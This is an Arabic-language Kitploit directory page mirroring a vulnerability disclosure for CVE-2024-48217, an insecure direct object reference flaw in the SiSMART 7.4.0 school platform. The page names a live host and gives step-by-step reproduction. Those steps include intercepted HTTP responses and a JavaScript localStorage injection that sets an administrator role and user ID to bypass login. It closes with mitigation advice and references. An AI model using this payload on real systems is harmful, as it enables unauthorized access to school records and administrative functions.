Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-48217 — CVE-2024-48217 ثغرة Sismart الأمنية | Kitploit
أدوات/GitHubGitHub/ajrielrm/cve-2024-48217
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليم
GitHubajrielrm/cve-2024-48217

CVE-2024-48217

CVE-2024-48217 ثغرة Sismart الأمنية

عرض المستودع
1منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة CVE-2024-48217 في Sismart

CVE المعيَّن: CVE-2024-48217 mitre.org nvd.nist.org tenable.com

التاريخ:

5 سبتمبر 2024

المؤلف:

Ajriel Rizqy Maulana

روابط البرنامج:

  • SiSMART (التطبيق الذكي الداعم للعملية التعليمية) - 7.4.0
  • واجهة برمجة تطبيقات SiSMART (التطبيق الذكي الداعم للعملية التعليمية)

الإصدار:

7.4.0

الثغرة:

IDOR - داخل تخزين الجلسة (Session Storage) IDOR هو اختصار لـ Insecure Direct Object Reference (الإحالة المباشرة غير الآمنة للكائنات)، وهي ثغرة تندرج ضمن فئة التحكم المكسور في الوصول (broken access control). باختصار، تنشأ هذه الثغرة عندما يستخدم التطبيق مدخلات يقدمها المستخدم للوصول المباشر إلى كائن ما. وباستخدام ثغرة IDOR يمكن الحصول على تصعيد امتيازات أفقي، وفي بعض الحالات قد تؤدي أيضًا إلى تصعيد امتيازات عمودي.

المكوّنات المتأثرة:

https://cms.sismart.id/sekolah/ معامل sekolah_kode داخل التخزين المحلي (Local Storage). معامل user_id داخل التخزين المحلي (Local Storage). معامل user_level داخل التخزين المحلي (Local Storage).

الوصف:

على عكس ثغرات IDOR العادية، فإن ثغرات IDOR المرتبطة بتخزين الجلسة (session storage) تختلف في طبيعتها، إذ إنها لا تُحدث تغييرات دائمة في بعض الأحيان، ومع ذلك تظل درجة الخطورة نفسها.

خطوات إعادة الإنتاج:


  • الخطوة 1 - قم بزيارة http://cms.sismart.id
  • الخطوة 2 - اعترض استجابة HTTP:

استجابة HTTP غير المعدَّلة:

root@kitploit:~
HTTP/2 200 OK
Date: Fri, 01 Nov 2024 11:44:22 GMT
Content-Type: text/html
Last-Modified: Mon, 01 May 2023 02:36:30 GMT
Cf-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KJnz9T9%2FG1GNLgvfWtpZFaY10aFkzyrkTUNVdK34tYTcoWnGvxnG7y9lQi%2BxdFQ%2Bd4jjab38wLGtsgIlOxaBbo2TvjTKA6newy7qBGD8jQKTwH9xSM9PVgmnNdHodgx0ew%3D%3D"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Cf-Ray: 8dbba1ea4a99658f-SIN
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=32972&sent=758&recv=340&lost=0&retrans=102&sent_bytes=994646&recv_bytes=2733&delivery_rate=2462437&cwnd=257&unsent_bytes=0&cid=706fd40c05668fc1&ts=24672&x=0"

<!doctype html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700|Roboto:300,400,500,600,700|Material+Icons" rel="stylesheet"><link rel="stylesheet" href="https://unicons.iconscout.com/release/v4.0.0/css/line.css"/><title>Sismart | Login</title><script defer="defer" type="module" src="/js/chunk-vendors.fd6f44e8.js"></script><script defer="defer" type="module" src="/js/app.741d68f7.js"></script><link href="/css/chunk-vendors.582cc66a.css" rel="stylesheet"><link href="/css/app.d5b7c7c2.css" rel="stylesheet"><script defer="defer" src="/js/chunk-vendors-legacy.fd6f44e8.js" nomodule></script><script defer="defer" src="/js/app-legacy.350b7c53.js" nomodule></script></head><body style="--kt-toolbar-height:55px;--kt-toolbar-height-tablet-and-mobile:55px"><noscript><strong>We're sorry but metronic-vue doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app" class="d-flex flex-column flex-root"></div><script src="https://requirejs.org/docs/release/2.1.15/minified/require.js"></script><script src="https://rawgit.com/ironwallaby/delaunay/master/delaunay.js"></script></body></html>
  • الخطوة 3 - أضف سكربتًا لتعديل التخزين المحلي (Local Storage) وإعادة التوجيه إلى /sekolah:
    • عيّن sekolah_kode على رمز المدرسة المطلوب.
    • عيّن user_id على معرف المستخدم لمدير النظام المطلوب.
    • عيّن user_level على administrator.
    • عيّن id_token على undefined.
    • عدّل الاستجابة واضبط كل ما سبق باستخدام سكربت الجافاسكربت التالي:
    root@kitploit:~
    <script>
      localStorage.setItem('sekolah_kode', 'school_id');
      localStorage.setItem('user_id', '0000');
      localStorage.setItem('user_level', 'role (ex:administrator)');
      localStorage.setItem('id_token', 'undefined');
      window.location.href = '/sekolah';
    </script>
    

استجابة HTTP المعدَّلة:

root@kitploit:~
HTTP/2 200 OK
Date: Fri, 01 Nov 2024 11:44:22 GMT
Content-Type: text/html
Last-Modified: Mon, 01 May 2023 02:36:30 GMT
Cf-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KJnz9T9%2FG1GNLgvfWtpZFaY10aFkzyrkTUNVdK34tYTcoWnGvxnG7y9lQi%2BxdFQ%2Bd4jjab38wLGtsgIlOxaBbo2TvjTKA6newy7qBGD8jQKTwH9xSM9PVgmnNdHodgx0ew%3D%3D"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Cf-Ray: 8dbba1ea4a99658f-SIN
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=32972&sent=758&recv=340&lost=0&retrans=102&sent_bytes=994646&recv_bytes=2733&delivery_rate=2462437&cwnd=257&unsent_bytes=0&cid=706fd40c05668fc1&ts=24672&x=0"

<!doctype html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700|Roboto:300,400,500,600,700|Material+Icons" rel="stylesheet"><link rel="stylesheet" href="https://unicons.iconscout.com/release/v4.0.0/css/line.css"/><title>Sismart | Login</title><script defer="defer" type="module" src="/js/chunk-vendors.fd6f44e8.js"></script><script defer="defer" type="module" src="/js/app.741d68f7.js"></script><link href="/css/chunk-vendors.582cc66a.css" rel="stylesheet"><link href="/css/app.d5b7c7c2.css" rel="stylesheet"><script defer="defer" src="/js/chunk-vendors-legacy.fd6f44e8.js" nomodule></script><script defer="defer" src="/js/app-legacy.350b7c53.js" nomodule></script></head><body style="--kt-toolbar-height:55px;--kt-toolbar-height-tablet-and-mobile:55px"><noscript><strong>We're sorry but metronic-vue doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app" class="d-flex flex-column flex-root"></div><script src="https://requirejs.org/docs/release/2.1.15/minified/require.js"></script><script src="https://rawgit.com/ironwallaby/delaunay/master/delaunay.js"></script>
<script>
       localStorage.setItem('sekolah_kode', 'smkbnif');
    localStorage.setItem('user_id', '3301');
    localStorage.setItem('user_level', 'administrator');
    localStorage.setItem('id_token', 'undefined');
     window.location.href = '/sekolah';
</script>

</body></html>
  • الخطوة 4 - أعد توجيه الاستجابة

إثبات المفهوم:

image

التخفيف:

يجب إجراء فحص للوصول مع ضمان التحقق من جميع الكائنات المُحال إليها. بالإضافة إلى ذلك، ينبغي تطبيق فحوصات المصادقة والتفويض. علاوة على ذلك، يجب تحويل المعرّفات إلى صيغ أبجدية رقمية لمنع إمكانية تخمينها، على سبيل المثال استخدام uid.

المراجع

  • https://shahjerry33.medium.com/idor-inside-the-session-storage-88af485fc899
  • https://portswigger.net/web-security/access-control/idor
  • https://ridhomarhaban2000.medium.com/memahami-idor-insecure-direct-object-references-ab176af79cb1
  • https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html
تنزيل الأداة